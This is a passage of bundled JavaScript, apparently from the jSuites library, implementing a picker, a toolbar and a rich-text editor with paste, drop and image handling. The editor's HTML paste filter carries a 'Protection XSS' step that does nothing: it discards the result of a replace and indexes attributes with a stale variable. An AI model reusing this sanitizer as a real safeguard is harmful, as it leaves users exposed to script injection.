The element passed is a DOM element */ var isDOM = function(o) { return (o instanceof Element || o instanceof HTMLDocument); } /** * Create the content options */ var createContent = function() { dropdownContent.innerHTML = ''; // Create items var keys = Object.keys(obj.options.data); // Go though all options for (var i = 0; i < keys.length; i++) { // Item var dropdownItem = document.createElement('div'); dropdownItem.classList.add('jpicker-item'); dropdownItem.k = keys[i]; dropdownItem.v = obj.options.data[keys[i]]; // Label var item = obj.getLabel(keys[i], dropdownItem); if (isDOM(item)) { dropdownItem.appendChild(item); } else { dropdownItem.innerHTML = item; } // Append dropdownContent.appendChild(dropdownItem); } } /** * Set or reset the options for the picker */ obj.setOptions = function(options, reset) { // Default configuration var defaults = { value: 0, data: null, render: null, onchange: null, onmouseover: null, onselect: null, onopen: null, onclose: null, onload: null, width: null, header: true, right: false, bottom: false, content: false, columns: null, grid: null, height: null, } // Legacy purpose only if (options && options.options) { options.data = options.options; } // Loop through the initial configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof(obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Start using the options if (obj.options.header === false) { dropdownHeader.style.display = 'none'; } else { dropdownHeader.style.display = ''; } // Width if (obj.options.width) { dropdownHeader.style.width = parseInt(obj.options.width) + 'px'; } else { dropdownHeader.style.width = ''; } // Height if (obj.options.height) { dropdownContent.style.maxHeight = obj.options.height + 'px'; dropdownContent.style.overflow = 'scroll'; } else { dropdownContent.style.overflow = ''; } if (obj.options.columns > 0) { if (! obj.options.grid) { dropdownContent.classList.add('jpicker-columns'); dropdownContent.style.width = obj.options.width ? obj.options.width : 36 * obj.options.columns + 'px'; } else { dropdownContent.classList.add('jpicker-grid'); dropdownContent.style.gridTemplateColumns = 'repeat(' + obj.options.grid + ', 1fr)'; } } if (isNaN(parseInt(obj.options.value))) { obj.options.value = 0; } // Create list from data createContent(); // Set value obj.setValue(obj.options.value); // Set options all returns the own instance return obj; } obj.getValue = function() { return obj.options.value; } obj.setValue = function(k, e) { // Set label obj.setLabel(k); // Update value obj.options.value = String(k); // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } if (dropdownContent.children[k] && dropdownContent.children[k].getAttribute('type') !== 'generic') { obj.close(); } // Call method if (e) { if (typeof (obj.options.onchange) == 'function') { var v = obj.options.data[k]; obj.options.onchange(el, obj, v, v, k, e); } } } obj.getLabel = function(v, item) { var label = obj.options.data[v] || null; if (typeof(obj.options.render) == 'function') { label = obj.options.render(label, item); } return label; } obj.setLabel = function(v) { var item; if (obj.options.content) { item = '<i class="material-icons">' + obj.options.content + '</i>'; } else { item = obj.getLabel(v, null); } // Label if (isDOM(item)) { dropdownHeader.innerHTML = ''; dropdownHeader.appendChild(item); } else { dropdownHeader.innerHTML = item; } } obj.open = function() { if (! el.classList.contains('jpicker-focus')) { // Start tracking the element Tracking(obj, true); // Open picker el.classList.add('jpicker-focus'); el.focus(); var top = 0; var left = 0; dropdownContent.style.marginLeft = ''; var rectHeader = dropdownHeader.getBoundingClientRect(); var rectContent = dropdownContent.getBoundingClientRect(); if (window.innerHeight < rectHeader.bottom + rectContent.height || obj.options.bottom) { top = -1 * (rectContent.height + 4); } else { top = rectHeader.height + 4; } if (obj.options.right === true) { left = -1 * rectContent.width + rectHeader.width; } if (rectContent.left + left < 0) { left = left + rectContent.left + 10; } if (rectContent.left + rectContent.width > window.innerWidth) { left = -1 * (10 + rectContent.left + rectContent.width - window.innerWidth); } dropdownContent.style.marginTop = parseInt(top) + 'px'; dropdownContent.style.marginLeft = parseInt(left) + 'px'; //dropdownContent.style.marginTop if (typeof obj.options.onopen == 'function') { obj.options.onopen(el, obj); } } } obj.close = function() { if (el.classList.contains('jpicker-focus')) { el.classList.remove('jpicker-focus'); // Start tracking the element Tracking(obj, false); if (typeof obj.options.onclose == 'function') { obj.options.onclose(el, obj); } } } /** * Create floating picker */ var init = function() { // Class el.classList.add('jpicker'); el.setAttribute('tabindex', '900'); el.onmousedown = function(e) { if (! el.classList.contains('jpicker-focus')) { obj.open(); } } // Dropdown Header dropdownHeader = document.createElement('div'); dropdownHeader.classList.add('jpicker-header'); // Dropdown content dropdownContent = document.createElement('div'); dropdownContent.classList.add('jpicker-content'); dropdownContent.onclick = function(e) { var item = helpers.findElement(e.target, 'jpicker-item'); if (item) { if (item.parentNode === dropdownContent) { // Update label obj.setValue(item.k, e); } } } // Append content and header el.appendChild(dropdownHeader); el.appendChild(dropdownContent); // Default value el.value = options.value || 0; // Set options obj.setOptions(options); if (typeof(obj.options.onload) == 'function') { obj.options.onload(el, obj); } // Change el.change = obj.setValue; // Global generic value handler el.val = function(val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } // Reference el.picker = obj; } init(); return obj; } ;// CONCATENATED MODULE: ./src/plugins/toolbar.js function Toolbar(el, options) { // New instance var obj = { type:'toolbar' }; obj.options = {}; // Default configuration var defaults = { app: null, container: false, badge: false, title: false, responsive: false, maxWidth: null, bottom: true, items: [], } // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } if (! el && options.app && options.app.el) { el = document.createElement('div'); options.app.el.appendChild(el); } // Arrow var toolbarArrow = document.createElement('div'); toolbarArrow.classList.add('jtoolbar-item'); toolbarArrow.classList.add('jtoolbar-arrow'); var toolbarFloating = document.createElement('div'); toolbarFloating.classList.add('jtoolbar-floating'); toolbarArrow.appendChild(toolbarFloating); obj.selectItem = function(element) { var elements = toolbarContent.children; for (var i = 0; i < elements.length; i++) { if (element != elements[i]) { elements[i].classList.remove('jtoolbar-selected'); } } element.classList.add('jtoolbar-selected'); } obj.hide = function() { animation.slideBottom(el, 0, function() { el.style.display = 'none'; }); } obj.show = function() { el.style.display = ''; animation.slideBottom(el, 1); } obj.get = function() { return el; } obj.setBadge = function(index, value) { toolbarContent.children[index].children[1].firstChild.innerHTML = value; } obj.destroy = function() { toolbar.remove(); el.innerHTML = ''; } obj.update = function(a, b) { for (var i = 0; i < toolbarContent.children.length; i++) { // Toolbar element var toolbarItem = toolbarContent.children[i]; // State management if (typeof(toolbarItem.updateState) == 'function') { toolbarItem.updateState(el, obj, toolbarItem, a, b); } } for (var i = 0; i < toolbarFloating.children.length; i++) { // Toolbar element var toolbarItem = toolbarFloating.children[i]; // State management if (typeof(toolbarItem.updateState) == 'function') { toolbarItem.updateState(el, obj, toolbarItem, a, b); } } } obj.create = function(items) { // Reset anything in the toolbar toolbarContent.innerHTML = ''; // Create elements in the toolbar for (var i = 0; i < items.length; i++) { var toolbarItem = document.createElement('div'); toolbarItem.classList.add('jtoolbar-item'); if (items[i].width) { toolbarItem.style.width = parseInt(items[i].width) + 'px'; } if (items[i].k) { toolbarItem.k = items[i].k; } if (items[i].tooltip) { toolbarItem.setAttribute('title', items[i].tooltip); } // Id if (items[i].id) { toolbarItem.setAttribute('id', items[i].id); } // Selected if (items[i].updateState) { toolbarItem.updateState = items[i].updateState; } if (items[i].active) { toolbarItem.classList.add('jtoolbar-active'); } if (items[i].disabled) { toolbarItem.classList.add('jtoolbar-disabled'); } if (items[i].type == 'select' || items[i].type == 'dropdown') { Picker(toolbarItem, items[i]); } else if (items[i].type == 'divisor') { toolbarItem.classList.add('jtoolbar-divisor'); } else if (items[i].type == 'label') { toolbarItem.classList.add('jtoolbar-label'); toolbarItem.innerHTML = items[i].content; } else { // Material icons var toolbarIcon = document.createElement('i'); if (typeof(items[i].class) === 'undefined') { toolbarIcon.classList.add('material-icons'); } else { var c = items[i].class.split(' '); for (var j = 0; j < c.length; j++) { toolbarIcon.classList.add(c[j]); } } toolbarIcon.innerHTML = items[i].content ? items[i].content : ''; toolbarItem.appendChild(toolbarIcon); // Badge options if (obj.options.badge == true) { var toolbarBadge = document.createElement('div'); toolbarBadge.classList.add('jbadge'); var toolbarBadgeContent = document.createElement('div'); toolbarBadgeContent.innerHTML = items[i].badge ? items[i].badge : ''; toolbarBadge.appendChild(toolbarBadgeContent); toolbarItem.appendChild(toolbarBadge); } // Title if (items[i].title) { if (obj.options.title == true) { var toolbarTitle = document.createElement('span'); toolbarTitle.innerHTML = items[i].title; toolbarItem.appendChild(toolbarTitle); } else { toolbarItem.setAttribute('title', items[i].title); } } if (obj.options.app && items[i].route) { // Route toolbarItem.route = items[i].route; // Onclick for route toolbarItem.onclick = function() { obj.options.app.pages(this.route); } // Create pages obj.options.app.pages(items[i].route, { toolbarItem: toolbarItem, closed: true }); } // Render if (typeof(items[i].render) === 'function') { items[i].render(toolbarItem, items[i]); } } if (items[i].onclick) { toolbarItem.onclick = items[i].onclick.bind(items[i], el, obj, toolbarItem); } toolbarContent.appendChild(toolbarItem); } // Fits to the page setTimeout(function() { obj.refresh(); }, 0); } obj.open = function() { toolbarArrow.classList.add('jtoolbar-arrow-selected'); var rectElement = el.getBoundingClientRect(); var rect = toolbarFloating.getBoundingClientRect(); if (rect.bottom > window.innerHeight || obj.options.bottom) { toolbarFloating.style.bottom = '0'; } else { toolbarFloating.style.removeProperty('bottom'); } toolbarFloating.style.right = '0'; toolbarArrow.children[0].focus(); // Start tracking Tracking(obj, true); } obj.close = function() { toolbarArrow.classList.remove('jtoolbar-arrow-selected') // End tracking Tracking(obj, false); } obj.refresh = function() { if (obj.options.responsive == true) { // Width of the c var rect = el.parentNode.getBoundingClientRect(); if (! obj.options.maxWidth) { obj.options.maxWidth = rect.width; } // Available parent space var available = parseInt(obj.options.maxWidth); // Remove arrow if (toolbarArrow.parentNode) { toolbarArrow.parentNode.removeChild(toolbarArrow); } // Move all items to the toolbar while (toolbarFloating.firstChild) { toolbarContent.appendChild(toolbarFloating.firstChild); } // Toolbar is larger than the parent, move elements to the floating element if (available < toolbarContent.offsetWidth) { // Give space to the floating element available -= 50; // Move to the floating option while (toolbarContent.lastChild && available < toolbarContent.offsetWidth) { toolbarFloating.insertBefore(toolbarContent.lastChild, toolbarFloating.firstChild); } } // Show arrow if (toolbarFloating.children.length > 0) { toolbarContent.appendChild(toolbarArrow); } } } obj.setReadonly = function(state) { state = state ? 'add' : 'remove'; el.classList[state]('jtoolbar-disabled'); } el.onclick = function(e) { var element = helpers.findElement(e.target, 'jtoolbar-item'); if (element) { obj.selectItem(element); } if (e.target.classList.contains('jtoolbar-arrow')) { obj.open(); } } window.addEventListener('resize', function() { obj.refresh(); }); // Toolbar el.classList.add('jtoolbar'); // Reset content el.innerHTML = ''; // Container if (obj.options.container == true) { el.classList.add('jtoolbar-container'); } // Content var toolbarContent = document.createElement('div'); el.appendChild(toolbarContent); // Special toolbar for mobile applications if (obj.options.app) { el.classList.add('jtoolbar-mobile'); } // Create toolbar obj.create(obj.options.items); // Shortcut el.toolbar = obj; return obj; } ;// CONCATENATED MODULE: ./src/plugins/editor.js function Editor() { var Component = (function(el, options) { // New instance var obj = { type:'editor' }; obj.options = {}; // Default configuration var defaults = { // Load data from a remove location url: null, // Initial HTML content value: '', // Initial snippet snippet: null, // Add toolbar toolbar: true, toolbarOnTop: false, // Website parser is to read websites and images from cross domain remoteParser: null, // Placeholder placeholder: null, // Parse URL filterPaste: true, // Accept drop files dropZone: true, dropAsSnippet: false, acceptImages: true, acceptFiles: false, maxFileSize: 5000000, allowImageResize: true, // Style maxHeight: null, height: null, focus: false, // Events onclick: null, onfocus: null, onblur: null, onload: null, onkeyup: null, onkeydown: null, onchange: null, extensions: null, type: null, }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Private controllers var editorTimer = null; var editorAction = null; var files = []; // Keep the reference for the container obj.el = el; if (typeof(obj.options.onclick) == 'function') { el.onclick = function(e) { obj.options.onclick(el, obj, e); } } // Prepare container el.classList.add('jeditor-container'); // Snippet var snippet = document.createElement('div'); snippet.className = 'jsnippet'; snippet.setAttribute('contenteditable', false); // Toolbar var toolbar = document.createElement('div'); toolbar.className = 'jeditor-toolbar'; obj.editor = document.createElement('div'); obj.editor.setAttribute('contenteditable', true); obj.editor.setAttribute('spellcheck', false); obj.editor.classList.add('jeditor'); // Placeholder if (obj.options.placeholder) { obj.editor.setAttribute('data-placeholder', obj.options.placeholder); } // Max height if (obj.options.maxHeight || obj.options.height) { obj.editor.style.overflowY = 'auto'; if (obj.options.maxHeight) { obj.editor.style.maxHeight = obj.options.maxHeight; } if (obj.options.height) { obj.editor.style.height = obj.options.height; } } // Set editor initial value if (obj.options.url) { ajax({ url: obj.options.url, dataType: 'html', success: function(result) { obj.editor.innerHTML = result; Component.setCursor(obj.editor, obj.options.focus == 'initial' ? true : false); } }) } else { if (obj.options.value) { obj.editor.innerHTML = obj.options.value; } else { // Create from existing elements for (var i = 0; i < el.children.length; i++) { obj.editor.appendChild(el.children[i]); } } } // Make sure element is empty el.innerHTML = ''; /** * Onchange event controllers */ var change = function(e) { if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, obj, e); } // Update value obj.options.value = obj.getData(); // Lemonade JS if (el.value != obj.options.value) { el.value = obj.options.value; if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } } /** * Extract images from a HTML string */ var extractImageFromHtml = function(html) { // Create temp element var div = document.createElement('div'); div.innerHTML = html; // Extract images var img = div.querySelectorAll('img'); if (img.length) { for (var i = 0; i < img.length; i++) { obj.addImage(img[i].src); } } } /** * Insert node at caret */ var insertNodeAtCaret = function(newNode) { var sel, range; if (window.getSelection) { sel = window.getSelection(); if (sel.rangeCount) { range = sel.getRangeAt(0); var selectedText = range.toString(); range.deleteContents(); range.insertNode(newNode); // move the cursor after element range.setStartAfter(newNode); range.setEndAfter(newNode); sel.removeAllRanges(); sel.addRange(range); } } } var updateTotalImages = function() { var o = null; if (o = snippet.children[0]) { // Make sure is a grid if (! o.classList.contains('jslider-grid')) { o.classList.add('jslider-grid'); } // Quantify of images var number = o.children.length; // Set the configuration of the grid o.setAttribute('data-number', number > 4 ? 4 : number); // Total of images inside the grid if (number > 4) { o.setAttribute('data-total', number - 4); } else { o.removeAttribute('data-total'); } } } /** * Append image to the snippet */ var appendImage = function(image) { if (! snippet.innerHTML) { obj.appendSnippet({}); } snippet.children[0].appendChild(image); updateTotalImages(); } /** * Append snippet * @Param object data */ obj.appendSnippet = function(data) { // Reset snippet snippet.innerHTML = ''; // Attributes var a = [ 'image', 'title', 'description', 'host', 'url' ]; for (var i = 0; i < a.length; i++) { var div = document.createElement('div'); div.className = 'jsnippet-' + a[i]; div.setAttribute('data-k', a[i]); snippet.appendChild(div); if (data[a[i]]) { if (a[i] == 'image') { if (! Array.isArray(data.image)) { data.image = [ data.image ]; } for (var j = 0; j < data.image.length; j++) { var img = document.createElement('img'); img.src = data.image[j]; div.appendChild(img); } } else { div.innerHTML = data[a[i]]; } } } obj.editor.appendChild(document.createElement('br')); obj.editor.appendChild(snippet); } /** * Set editor value */ obj.setData = function(o) { if (typeof(o) == 'object') { obj.editor.innerHTML = o.content; } else { obj.editor.innerHTML = o; } if (obj.options.focus) { Component.setCursor(obj.editor, true); } // Reset files container files = []; } obj.getFiles = function() { var f = obj.editor.querySelectorAll('.jfile'); var d = []; for (var i = 0; i < f.length; i++) { if (files[f[i].src]) { d.push(files[f[i].src]); } } return d; } obj.getText = function() { return obj.editor.innerText; } /** * Get editor data */ obj.getData = function(json) { if (! json) { var data = obj.editor.innerHTML; } else { var data = { content : '', } // Get snippet if (snippet.innerHTML) { var index = 0; data.snippet = {}; for (var i = 0; i < snippet.children.length; i++) { // Get key from element var key = snippet.children[i].getAttribute('data-k'); if (key) { if (key == 'image') { if (! data.snippet.image) { data.snippet.image = []; } // Get all images for (var j = 0; j < snippet.children[i].children.length; j++) { data.snippet.image.push(snippet.children[i].children[j].getAttribute('src')) } } else { data.snippet[key] = snippet.children[i].innerHTML; } } } } // Get files var f = Object.keys(files); if (f.length) { data.files = []; for (var i = 0; i < f.length; i++) { data.files.push(files[f[i]]); } } // Get content var d = document.createElement('div'); d.innerHTML = obj.editor.innerHTML; var s = d.querySelector('.jsnippet'); if (s) { s.remove(); } var text = d.innerHTML; text = text.replace(/<br>/g, "\n"); text = text.replace(/<\/div>/g, "<\/div>\n"); text = text.replace(/<(?:.|\n)*?>/gm, ""); data.content = text.trim(); // Process extensions processExtensions('getData', data); } return data; } // Reset obj.reset = function() { obj.editor.innerHTML = ''; snippet.innerHTML = ''; files = []; } obj.addPdf = function(data) { if (data.result.substr(0,4) != 'data') { console.error('Invalid source'); } else { var canvas = document.createElement('canvas'); canvas.width = 60; canvas.height = 60; var img = new Image(); var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0, canvas.width, canvas.height); canvas.toBlob(function(blob) { var newImage = document.createElement('img'); newImage.src = window.URL.createObjectURL(blob); newImage.title = data.name; newImage.className = 'jfile pdf'; files[newImage.src] = { file: newImage.src, extension: 'pdf', content: data.result, } //insertNodeAtCaret(newImage); document.execCommand('insertHtml', false, newImage.outerHTML); }); } } obj.addImage = function(src, asSnippet) { if (! src) { src = ''; } if (src.substr(0,4) != 'data' && ! obj.options.remoteParser) { console.error('remoteParser not defined in your initialization'); } else { // This is to process cross domain images if (src.substr(0,4) == 'data') { var extension = src.split(';') extension = extension[0].split('/'); extension = extension[1]; } else { var extension = src.substr(src.lastIndexOf('.') + 1); // Work for cross browsers src = obj.options.remoteParser + src; } var img = new Image(); img.onload = function onload() { var canvas = document.createElement('canvas'); canvas.width = img.width; canvas.height = img.height; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0, canvas.width, canvas.height); canvas.toBlob(function(blob) { var newImage = document.createElement('img'); newImage.src = window.URL.createObjectURL(blob); newImage.classList.add('jfile'); newImage.setAttribute('tabindex', '900'); newImage.setAttribute('width', img.width); newImage.setAttribute('height', img.height); files[newImage.src] = { file: newImage.src, extension: extension, content: canvas.toDataURL(), } if (obj.options.dropAsSnippet || asSnippet) { appendImage(newImage); // Just to understand the attachment is part of a snippet files[newImage.src].snippet = true; } else { //insertNodeAtCaret(newImage); document.execCommand('insertHtml', false, newImage.outerHTML); } change(); }); }; img.src = src; } } obj.addFile = function(files) { var reader = []; for (var i = 0; i < files.length; i++) { if (files[i].size > obj.options.maxFileSize) { alert('The file is too big'); } else { // Only PDF or Images var type = files[i].type.split('/'); if (type[0] == 'image') { type = 1; } else if (type[1] == 'pdf') { type = 2; } else { type = 0; } if (type) { // Create file reader[i] = new FileReader(); reader[i].index = i; reader[i].type = type; reader[i].name = files[i].name; reader[i].date = files[i].lastModified; reader[i].size = files[i].size; reader[i].addEventListener("load", function (data) { // Get result if (data.target.type == 2) { if (obj.options.acceptFiles == true) { obj.addPdf(data.target); } } else { obj.addImage(data.target.result); } }, false); reader[i].readAsDataURL(files[i]) } else { alert('The extension is not allowed'); } } } } // Destroy obj.destroy = function() { obj.editor.removeEventListener('mouseup', editorMouseUp); obj.editor.removeEventListener('mousedown', editorMouseDown); obj.editor.removeEventListener('mousemove', editorMouseMove); obj.editor.removeEventListener('keyup', editorKeyUp); obj.editor.removeEventListener('keydown', editorKeyDown); obj.editor.removeEventListener('dragstart', editorDragStart); obj.editor.removeEventListener('dragenter', editorDragEnter); obj.editor.removeEventListener('dragover', editorDragOver); obj.editor.removeEventListener('drop', editorDrop); obj.editor.removeEventListener('paste', editorPaste); obj.editor.removeEventListener('blur', editorBlur); obj.editor.removeEventListener('focus', editorFocus); el.editor = null; el.classList.remove('jeditor-container'); toolbar.remove(); snippet.remove(); obj.editor.remove(); } obj.upload = function() { helpers.click(obj.file); } // Elements to be removed var remove = [ HTMLUnknownElement, HTMLAudioElement, HTMLEmbedElement, HTMLIFrameElement, HTMLTextAreaElement, HTMLInputElement, HTMLScriptElement ]; // Valid properties var validProperty = ['width', 'height', 'align', 'border', 'src', 'tabindex']; // Valid CSS attributes var validStyle = ['color', 'font-weight', 'font-size', 'background', 'background-color', 'margin']; var parse = function(element) { // Remove attributes if (element.attributes && element.attributes.length) { var image = null; var style = null; // Process style attribute var elementStyle = element.getAttribute('style'); if (elementStyle) { style = []; var t = elementStyle.split(';'); for (var j = 0; j < t.length; j++) { var v = t[j].trim().split(':'); if (validStyle.indexOf(v[0].trim()) >= 0) { var k = v.shift(); var v = v.join(':'); style.push(k + ':' + v); } } } // Process image if (element.tagName.toUpperCase() == 'IMG') { if (! obj.options.acceptImages || ! element.src) { element.parentNode.removeChild(element); } else { // Check if is data element.setAttribute('tabindex', '900'); // Check attributes for persistence obj.addImage(element.src); } } // Remove attributes var attr = []; for (var i = 0; i < element.attributes.length; i++) { attr.push(element.attributes[i].name); } if (attr.length) { attr.forEach(function(v) { if (validProperty.indexOf(v) == -1) { element.removeAttribute(v); } else { // Protection XSS if (element.attributes[i].value.indexOf('<') !== -1) { element.attributes[i].value.replace('<', '<'); } } }); } element.style = ''; // Add valid style if (style && style.length) { element.setAttribute('style', style.join(';')); } } // Parse children if (element.children.length) { for (var i = 0; i < element.children.length; i++) { parse(element.children[i]); } } if (remove.indexOf(element.constructor) >= 0) { element.remove(); } } var select = function(e) { var s = window.getSelection() var r = document.createRange(); r.selectNode(e); s.addRange(r) } var filter = function(data) { if (data) { data = data.replace(new RegExp('<!--(.*?)-->', 'gsi'), ''); } var parser = new DOMParser(); var d = parser.parseFromString(data, "text/html"); parse(d); var span = document.createElement('span'); span.innerHTML = d.firstChild.innerHTML; return span; } var editorPaste = function(e) { if (obj.options.filterPaste == true) { if (e.clipboardData || e.originalEvent.clipboardData) { var html = (e.originalEvent || e).clipboardData.getData('text/html'); var text = (e.originalEvent || e).clipboardData.getData('text/plain'); var file = (e.originalEvent || e).clipboardData.files } else if (window.clipboardData) { var html = window.clipboardData.getData('Html'); var text = window.clipboardData.getData('Text'); var file = window.clipboardData.files } if (file.length) { // Paste a image from the clipboard obj.addFile(file); } else { if (! html) { html = text.split('\r\n'); if (! e.target.innerText) { html.map(function(v) { var d = document.createElement('div'); d.innerText = v; obj.editor.appendChild(d); }); } else { html = html.map(function(v) { return '<div>' + v + '</div>'; }); document.execCommand('insertHtml', false, html.join('')); } } else { var d = filter(html); // Paste to the editor //insertNodeAtCaret(d); document.execCommand('insertHtml', false, d.innerHTML); } } e.preventDefault(); } } var editorDragStart = function(e) { if (editorAction && editorAction.e) { e.preventDefault(); } } var editorDragEnter = function(e) { if (editorAction || obj.options.dropZone == false) { // Do nothing } else { el.classList.add('jeditor-dragging'); e.preventDefault(); } } var editorDragOver = function(e) { if (editorAction || obj.options.dropZone == false) { // Do nothing } else { if (editorTimer) { clearTimeout(editorTimer); } editorTimer = setTimeout(function() { el.classList.remove('jeditor-dragging'); }, 100); e.preventDefault(); } } var editorDrop = function(e) { if (editorAction || obj.options.dropZone == false) { // Do nothing } else { // Position caret on the drop var range = null; if (document.caretRangeFromPoint) { range=document.caretRangeFromPoint(e.clientX, e.clientY); } else if (e.rangeParent) { range=document.createRange(); range.setStart(e.rangeParent,e.rangeOffset); } var sel = window.getSelection(); sel.removeAllRanges(); sel.addRange(range); sel.anchorNode.parentNode.focus(); var html = (e.originalEvent || e).dataTransfer.getData('text/html'); var text = (e.originalEvent || e).dataTransfer.getData('text/plain'); var file = (e.originalEvent || e).dataTransfer.files; if (file.length) { obj.addFile(file); } else if (text) { extractImageFromHtml(html); } el.classList.remove('jeditor-dragging'); e.preventDefault(); } } var editorBlur = function(e) { // Process extensions processExtensions('onevent', e); // Apply changes change(e); // Blur if (typeof(obj.options.onblur) == 'function') { obj.options.onblur(el, obj, e); } } var editorFocus = function(e) { // Focus if (typeof(obj.options.onfocus) == 'function') { obj.options.onfocus(el, obj, e); } } var editorKeyUp = function(e) { if (! obj.editor.innerHTML) { obj.editor.innerHTML = '<div><br></div>'; } if (typeof(obj.options.onkeyup) == 'function') { obj.options.onkeyup(el, obj, e); } } var editorKeyDown = function(e) { // Process extensions processExtensions('onevent', e); if (e.key == 'Delete') { if (e.target.tagName == 'IMG') { var parent = e.target.parentNode; select(e.target); if (parent.classList.contains('jsnippet-image')) { updateTotalImages(); } } } if (typeof(obj.options.onkeydown) == 'function') { obj.options.onkeydown(el, obj, e); } } var editorMouseUp = function(e) { if (editorAction && editorAction.e) { editorAction.e.classList.remove('resizing'); if (editorAction.e.changed == true) { var image = editorAction.e.cloneNode() image.width = parseInt(editorAction.e.style.width) || editorAction.e.getAttribute('width'); image.height = parseInt(editorAction.e.style.height) || editorAction.e.getAttribute('height'); editorAction.e.style.width = ''; editorAction.e.style.height = ''; select(editorAction.e); document.execCommand('insertHtml', false, image.outerHTML); } } editorAction = false; } var editorMouseDown = function(e) { var close = function(snippet) { var rect = snippet.getBoundingClientRect(); if (rect.width - (e.clientX - rect.left) < 40 && e.clientY - rect.top < 40) { snippet.innerHTML = ''; snippet.remove(); } } if (e.target.tagName == 'IMG') { if (e.target.style.cursor) { var rect = e.target.getBoundingClientRect(); editorAction = { e: e.target, x: e.clientX, y: e.clientY, w: rect.width, h: rect.height, d: e.target.style.cursor, } if (! e.target.getAttribute('width')) { e.target.setAttribute('width', rect.width) } if (! e.target.getAttribute('height')) { e.target.setAttribute('height', rect.height) } var s = window.getSelection(); if (s.rangeCount) { for (var i = 0; i < s.rangeCount; i++) { s.removeRange(s.getRangeAt(i)); } } e.target.classList.add('resizing'); } else { editorAction = true; } } else { if (e.target.classList.contains('jsnippet')) { close(e.target); } else if (e.target.parentNode.classList.contains('jsnippet')) { close(e.target.parentNode); } editorAction = true; } } var editorMouseMove = function(e) { if (e.target.tagName == 'IMG' && ! e.target.parentNode.classList.contains('jsnippet-image') && obj.options.allowImageResize == true) { if (e.target.getAttribute('tabindex')) { var rect = e.target.getBoundingClientRect(); if (e.clientY - rect.top < 5) { if (rect.width - (e.clientX - rect.left) < 5) { e.target.style.cursor = 'ne-resize'; } else if (e.clientX - rect.left < 5) { e.target.style.cursor = 'nw-resize'; } else { e.target.style.cursor = 'n-resize'; } } else if (rect.height - (e.clientY - rect.top) < 5) { if (rect.width - (e.clientX - rect.left) < 5) { e.target.style.cursor = 'se-resize'; } else if (e.clientX - rect.left < 5) { e.target.style.cursor = 'sw-resize'; } else { e.target.style.cursor = 's-resize'; } } else if (rect.width - (e.clientX - rect.left) < 5) { e.target.style.cursor = 'e-resize'; } else if (e.clientX - rect.left < 5) { e.target.style.cursor = 'w-resize'; } else { e.target.style.cursor = ''; } } } // Move if (e.which == 1 && editorAction && editorAction.d) { if (editorAction.d == 'e-resize' || editorAction.d == 'ne-resize' || editorAction.d == 'se-resize') { editorAction.e.style.width = (editorAction.w + (e.clientX - editorAction.x)); if (e.shiftKey) { var newHeight = (e.clientX - editorAction.x) * (editorAction.h / editorAction.w); editorAction.e.style.height = editorAction.h + newHeight; } else { var newHeight = null; } } if (! newHeight) { if (editorAction.d == 's-resize' || editorAction.d == 'se-resize' || editorAction.d == 'sw-resize') { if (! e.shiftKey) { editorAction.e.style.height = editorAction.h + (e.clientY - editorAction.y); } } } editorAction.e.changed = true; } } var processExtensions = function(method, data) { if (obj.options.extensions) { var ext = Object.keys(obj.options.extensions); if (ext.length) { for (var i = 0; i < ext.length; i++) if (obj.options.extensions[ext[i]] && typeof(obj.options.extensions[ext[i]][method]) == 'function') { obj.options.extensions[ext[i]][method].call(obj, data); } } } } var loadExtensions = function() { if (obj.options.extensions) { var ext = Object.keys(obj.options.extensions); if (ext.length) { for (var i = 0; i < ext.length; i++) { if (obj.options.extensions[ext[i]] && typeof (obj.options.extensions[ext[i]]) == 'function') { obj.options.extensions[ext[i]] = obj.options.extensions[ext[i]](el, obj); } } } } } document.addEventListener('mouseup', editorMouseUp); document.addEventListener('mousemove', editorMouseMove); obj.editor.addEventListener('mousedown', editorMouseDown); obj.editor.addEventListener('keyup', editorKeyUp); obj.editor.addEventListener('keydown', editorKeyDown); obj.editor.addEventListener('dragstart', editorDragStart); obj.editor.addEventListener('dragenter', editorDragEnter); obj.editor.addEventListener('dragover', editorDragOver); obj.editor.addEventListener('drop', editorDrop); obj.editor.addEventListener('paste', editorPaste); obj.editor.addEventListener('focus', editorFocus); obj.editor.addEventListener('blur', editorBlur); // Append editor to the container el.appendChild(obj.editor); // Snippet if (obj.options.snippet) { obj.appendSnippet(obj.options.snippet); } // Add toolbar if (obj.options.toolbar) { // Default toolbar configuration if (Array.isArray(obj.options.toolbar)) { var toolbarOptions = { container: true, responsive: true, items: obj.options.toolbar } } else if (obj.options.toolbar === true) { var toolbarOptions = { container: true, responsive: true, items: [], } } else { var toolbarOptions = obj.options.toolbar; } // Default items if (! (toolbarOptions.items && toolbarOptions.items.length)) { toolbarOptions.items = Component.getDefaultToolbar(obj); } if (obj.options.toolbarOnTop) { // Add class el.classList.add('toolbar-on-top'); // Append to the DOM el.insertBefore(toolbar, el.firstChild); } else { // Add padding to the editor obj.editor.style.padding = '15px'; // Append to the DOM el.appendChild(toolbar); } // Create toolbar Toolbar(toolbar, toolbarOptions); toolbar.addEventListener('click', function() { obj.editor.focus(); }) } // Upload file obj.file = document.createElement('input'); obj.file.style.display = 'none'; obj.file.type = 'file'; obj.file.setAttribute('accept', 'image/*'); obj.file.onchange = function() { obj.addFile(this.files); } el.appendChild(obj.file); // Focus to the editor if (obj.options.focus) { Component.setCursor(obj.editor, obj.options.focus == 'initial' ? true : false); } // Change method el.change = obj.setData; // Global generic value handler el.val = function(val) { if (val === undefined) { // Data type var o = el.getAttribute('data-html') === 'true' ? false : true; return obj.getData(o); } else { obj.setData(val); } } loadExtensions(); el.editor = obj; // Onload if (typeof(obj.options.onload) == 'function') { obj.options.onload(el, obj, obj.editor); } return obj; }); Component.setCursor = function(element, first) { element.focus(); document.execCommand('selectAll'); var 